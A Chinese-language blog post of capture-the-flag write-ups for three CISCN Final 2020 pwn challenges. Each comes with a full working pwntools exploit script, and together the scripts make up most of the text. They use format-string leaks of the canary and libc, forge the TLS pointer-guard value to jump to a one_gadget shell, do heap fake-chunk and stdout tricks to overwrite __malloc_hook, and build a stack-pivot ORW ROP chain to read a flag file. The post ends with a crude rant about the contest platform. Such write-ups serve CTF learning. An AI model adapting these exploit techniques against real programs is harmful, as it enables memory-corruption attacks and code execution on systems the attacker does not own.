太久没写博客了,上次CISCN FINAL 2020的题也没空复现,先写几个吧,VmPwn 这些实在是搞不懂,逆向太菜了,之后推进一波逆向水平www.附件
Day1 Pwn3
因为是多线程,而且是多次利用,简单的leak stack,leak libc,leak canary吧,这里关键是调用printf_chk函数中,有一个指针,而这个指针调用前,会有一个值与TLS结构中一个8字节的随机数据进行异或
首先利用%s将TLS中的8字节数据给打印出来,然后通过指针和随机值进行异或,可以得到一个key值
然后将 key值 与 我们想要调用的指针进行异或,再将异或后的数据放在TLS结构体中随机值的位置
当调用printf_chk的时候,经过异或key值会还原到我们想要调用的函数或者指针位置,所以改成one_gadget即可getshell
1 | from pwn import* |
2 | def exp(): |
3 | p.sendline('%p%p%p%p%p%p%p%p%p%p%pCanary:%p%pLIBC:%p%p%p%p%pST:%p') |
4 | p.recvuntil('Canary:') |
5 | canary = int(p.recv(18),16) |
6 | p.recvuntil('LIBC:') |
7 | libc_base = int(p.recv(14),16) - 0x3F86DB |
8 | p.recvuntil('ST:') |
9 | stack = int(p.recv(14),16) |
10 | log.info('Canary:\t' + hex(canary)) |
11 | log.info('LIBC:\t'+ hex(libc_base)) |
12 | log.info('Stack:\t' + hex(stack)) |
13 | # gdb.attach(p,"b *0x7ffff783006a") |
14 | p.sendline('%p%p%p%p%p%p%p%p%p%pRand%s'.ljust(0x30,'\x00') + p64(libc_base - 0x900 + 0x30)) |
15 | p.recvuntil('Rand') |
16 | rand = u64(p.recv(8)) |
17 | log.info('Rand\t' + hex(rand)) |
18 | key = (rand^(libc_base + 4201616))&0xFFFFFFFFFFFFFFFF |
19 | rce = key^(libc_base + 0x10A45C) |
20 | payload = 'F'*0x38 + p64(canary) + '\x00'*0x18 + p64(libc_base - 0x900) |
21 | payload = payload.ljust(0x878,'\x00') |
22 | payload += p64(canary) |
23 | payload += p64(rce) |
24 | p.sendline(payload) |
25 | p.interactive() |
26 | p = process('./main') |
27 | exp() |
Day1 Pwn4
因为在case 1写入passwd的时候,写入的数据放在栈上,而写完后又会在一个函数里面进行会传入一个地址,然后delete,而传入地址之前的函数,没有对栈空间进行一个数据清空,导致passwd修改时候残留的数据会留在栈上,然后在这里delete的时候会free()一个错误的指针,这样我们在这里可以构造任意写,因为是2.27,利用fake_chunk->stdout->IO_2_1_stdout 可以leaklibc,所以通过玄学堆风水加调试做一做就出了
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | p = process('./main') |
4 | libc =ELF('./libc-2.27.so') |
5 | #p = remote('172.20.120.104',8888) |
6 | p.sendlineafter('Username:',"adminNNN" + 'N'*0x10 + '\x31') |
7 | p.sendafter('Password:','p455w0rd' + '\x00'*0x8 + 'U'*0x8F) |
8 | |
9 | p.sendlineafter('choice:','1') |
10 | p.sendlineafter('password:','\x00'*0x28 + p64(0x21) + 'U'*0x50 + p64(0x6032D0 + 0x10)) |
11 | p.sendlineafter('please:','F'*0x70) |
12 | p.sendlineafter(':','1000') |
13 | p.sendlineafter('choice:','1') |
14 | p.sendlineafter('password:',p64(0x603288)) |
15 | p.sendlineafter('please:','F'*0x20) |
16 | p.sendlineafter(':','1000') |
17 | |
18 | p.sendlineafter('choice:','1') |
19 | p.sendlineafter('password:',p64(0x603288)) |
20 | p.sendafter('please:',p64(0x603288)*4) |
21 | p.sendlineafter(':','1000') |
22 | p.sendlineafter('choice:','1') |
23 | p.sendlineafter('password:',p64(0x603288)) |
24 | p.sendafter('please:',p64(0xFBAD1800) + p64(0)*3 + '\xC8') |
25 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
26 | log.info('LIBC:\t' + hex(libc_base)) |
27 | p.sendlineafter(':','1000') |
28 | |
29 | p.sendlineafter('choice:','1') |
30 | p.sendlineafter('password:','FMYY') |
31 | p.sendlineafter('please:','F'*0x70) |
32 | p.sendlineafter(':','1000') |
33 | |
34 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
35 | free_hook = libc_base + libc.sym['__free_hook'] |
36 | rce = libc_base + 0x10A45C |
37 | p.sendlineafter('choice:','1') |
38 | p.sendlineafter('password:','\x00'*0x28 + p64(0x41) + 'U'*0x50 + p64(0x603300 + 0x10)) |
39 | p.sendlineafter('please:','F'*0x70) |
40 | p.sendlineafter(':','1000') |
41 | p.sendlineafter('choice:','1') |
42 | p.sendlineafter('password:','\x00'*0x30 + p64(malloc_hook)) |
43 | p.sendlineafter('please:','F'*0x30) |
44 | p.sendlineafter(':','1000') |
45 | p.sendlineafter('choice:','1') |
46 | p.sendlineafter('password:','FMYY') |
47 | p.sendlineafter('please:',p64(rce) + '\x00'*0x28) |
48 | p.sendlineafter(':','1000') |
49 | p.sendlineafter('choice:','1') |
50 | p.sendlineafter('password:','FMYY') |
51 | p.interactive() |
Day2 Pwn3
恶心心,西湖论剑的题目比这个要好多了,这个抬栈太烦人了,当初做了这个题,结果西湖论剑没做出来,因为没想到printf@plt进入会push一个返回地址,太菜了
首先通过调用一个函数抬一次栈,再调用一个start函数,栈上就会剩下_IO_2_1_stdou_指针
通过栈链修改stdout结构体中的fileno为2就能leak了.
然后则是在写入的后面布置一个orw,再通过栈链将rbp改成orw位置和返回地址改成leave_ret进行栈迁移到orw位置
1 | from pwn import* |
2 | ############# |
3 | libc =ELF('./libc-2.23.so') |
4 | while True: |
5 | p = process('./main') |
6 | try: |
7 | p.recvuntil('Gift: ') |
8 | stack = int(p.recv(14),16) |
9 | log.info('Stack:\t' + hex(stack)) |
10 | offset = 9 |
11 | retval = stack&0xFFFF |
12 | if retval > 0x2000: |
13 | p.close() |
14 | continue |
15 | p.sendline('%' + str((stack&0xFF - 0x10)) + 'c%6$hhn') |
16 | p.sendline('%61c%10$hhn') |
17 | |
18 | p.sendline('%' + str((stack - 0x10 - 0x10 + 1)&0xFFFF) + 'c%6$hn') |
19 | p.sendline('%74c%10$hhn') |
20 | |
21 | p.sendline('%' + str((stack - 0x10 - 0x10 + 0)&0xFFFF) + 'c%6$hn') |
22 | p.sendline('%144c%10$hhn') |
23 | |
24 | p.sendline('%' + str((stack - 0x10 - 0x18)&0xFFFF) + 'c%6$hn') |
25 | p.sendline('%183c%10$hhn') |
26 | |
27 | p.sendline('%' + str((stack - 0x70)&0xFFFF) + 'c%6$hn') #* |
28 | p.sendline('%144c%10$hhn') |
29 | |
30 | p.sendline('%2c%29$nFMYY') |
31 | p.recvuntil('FMYY',timeout=0.5) |
32 | p.sendline('LIBC:%13$pProc:%9$p') |
33 | p.recvuntil('LIBC:') |
34 | libc_base = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main'] |
35 | log.info('LIBC:\t' + hex(libc_base)) |
36 | p.recvuntil('Proc:') |
37 | proc_base = int(p.recv(14),16) - 0x202040 |
38 | log.info('Proc:\t' + hex(proc_base)) |
39 | log.info('PID:\t' + hex(p.pid)) |
40 | pop_rsi_ret = libc_base + 0x000000000006E7F3 |
41 | pop_rdi_ret = libc_base + 0x0000000000140613 |
42 | pop_rdx_ret = libc_base + 0x0000000000001B9A |
43 | pop_rdx_rsi = libc_base + 0x0000000000115189 |
44 | Open = libc_base + libc.sym['open'] |
45 | Read = libc_base + libc.sym['read'] |
46 | Puts = libc_base + libc.sym['puts'] |
47 | orw = './flag\x00\x00' + p64(pop_rdi_ret) + p64(proc_base + 0x202058) + p64(pop_rsi_ret) + p64(0) + p64(Open) |
48 | orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rdx_rsi) + p64(0x30) + p64(proc_base + 0x2020F0) + p64(Read) |
49 | orw += p64(pop_rdi_ret) + p64(proc_base + 0x2020F0) + p64(Puts) |
50 | pause() |
51 | p.sendline('%' + str((stack - 0x128)&0xFFFF) + 'c%15$hn') |
52 | p.sendline('%88c%41$hhn') |
53 | for i in range(1,6): |
54 | p.sendline('%' + str((stack - 0x128 + i)&0xFF) + 'c%15$hhn') |
55 | p.sendline('%' + str(((proc_base + 0x202040)>>(i*8))&0xFF) + 'c%41$hhn') |
56 | p.sendline('%' + str((stack - 0x120)&0xFF) + 'c%15$hhn') |
57 | p.sendline('%182c%41$hhn'.ljust(0x18,'\x00') + orw) |
58 | pause() |
59 | break |
60 | except: |
61 | p.close() |
62 | continue |
63 | p.interactive() |
总结
越想越气,收手机,热点并不会少,解题赛,三个小时做nm呢,题目fix两个小时,这么长是不是还要再吃一顿饭呢,平台垃圾,SB验证码,SB平台,SB YLB
上面题目都是国赛时间复现的,因为懒,所以不更新博客,突然开窍了,写几个题目吧,不然博客不打理还不如关了